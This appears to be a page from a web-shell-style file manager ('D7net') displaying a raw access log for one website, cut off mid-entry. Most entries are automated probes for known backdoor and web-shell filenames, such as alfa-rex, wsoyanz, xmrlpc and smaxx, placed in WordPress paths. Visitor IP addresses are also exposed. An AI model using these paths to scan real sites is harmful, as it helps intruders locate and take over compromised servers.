D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
proc
/
thread-self
/
root
/
home
/
shubmkcj
/
access-logs
/
Filename :
designpitara.shubhariya.com
back
Copy
188.212.135.55 - - [27/Apr/2025:03:04:58 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 205.210.31.131 - - [27/Apr/2025:03:06:40 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 196.251.71.124 - - [27/Apr/2025:03:19:16 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [27/Apr/2025:03:20:25 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:20:32 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:20:52 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:21:00 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:34:53 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:34:53 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:34:54 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:34:55 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:34:55 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:34:56 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:34:56 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:34:57 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:34:57 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:34:58 -0400] "GET /.well-known/pki-validation/dropdown.php%3fpass=yanz HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:34:58 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:34:59 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:34:59 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:35:00 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:35:01 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:35:01 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:35:02 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:35:02 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [27/Apr/2025:03:35:03 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 43.173.1.57 - - [27/Apr/2025:03:37:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 17.241.75.110 - - [27/Apr/2025:03:38:30 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.75.110 - - [27/Apr/2025:03:38:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 125.75.66.97 - - [27/Apr/2025:03:42:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.195.91.52 - - [27/Apr/2025:03:47:21 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 216.244.66.237 - - [27/Apr/2025:04:05:44 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 196.251.71.124 - - [27/Apr/2025:04:37:02 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 196.251.71.124 - - [27/Apr/2025:04:37:11 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:53 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:54 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:54 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:54 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:55 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:55 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:55 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:55 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:56 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:56 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:56 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:57 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:57 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:57 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:57 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:58 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:58 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:58 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:58 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:59 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:59 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:59 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:45:59 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:00 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:00 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:00 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:01 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:01 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:01 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:02 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:02 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:02 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:03 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:03 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:03 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:03 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:04 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:04 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:04 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:05 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:05 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:05 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:05 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:06 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:06 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:06 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:07 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:07 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:07 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:07 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:08 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:08 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:08 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:09 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:09 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:09 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:09 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:10 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:10 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:10 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:11 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:11 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:11 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:12 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:12 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:12 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:12 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:13 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:13 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:13 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:13 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:14 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:14 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:14 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:14 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:15 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:15 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:15 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:15 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:16 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:16 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:16 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:16 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:17 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:17 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:17 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:17 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:18 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:18 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:18 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:18 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:19 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:19 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:19 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:19 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:20 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:20 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:20 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:21 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:21 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:21 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:21 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:22 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:22 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:22 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:22 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:23 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:23 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:23 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:23 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:24 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:24 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:24 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:25 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:25 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:25 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:26 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:26 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:26 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:27 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:27 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:27 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:27 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:28 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:28 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:28 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:28 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:29 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:29 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:29 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:29 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:30 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:30 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:30 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:31 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:31 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:31 -0400] "GET /wp-content/plugins/elementor/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:32 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:32 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:32 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:32 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:32 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:33 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:33 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:33 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:34 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:34 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:34 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:34 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:35 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:35 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:35 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:35 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:36 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:36 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:36 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:36 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:37 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:37 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:37 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:37 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:38 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:38 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:38 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:38 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:39 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:39 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:39 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:39 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:40 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:40 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:40 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:40 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:41 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:41 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:41 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [27/Apr/2025:04:46:42 -0400] "GET 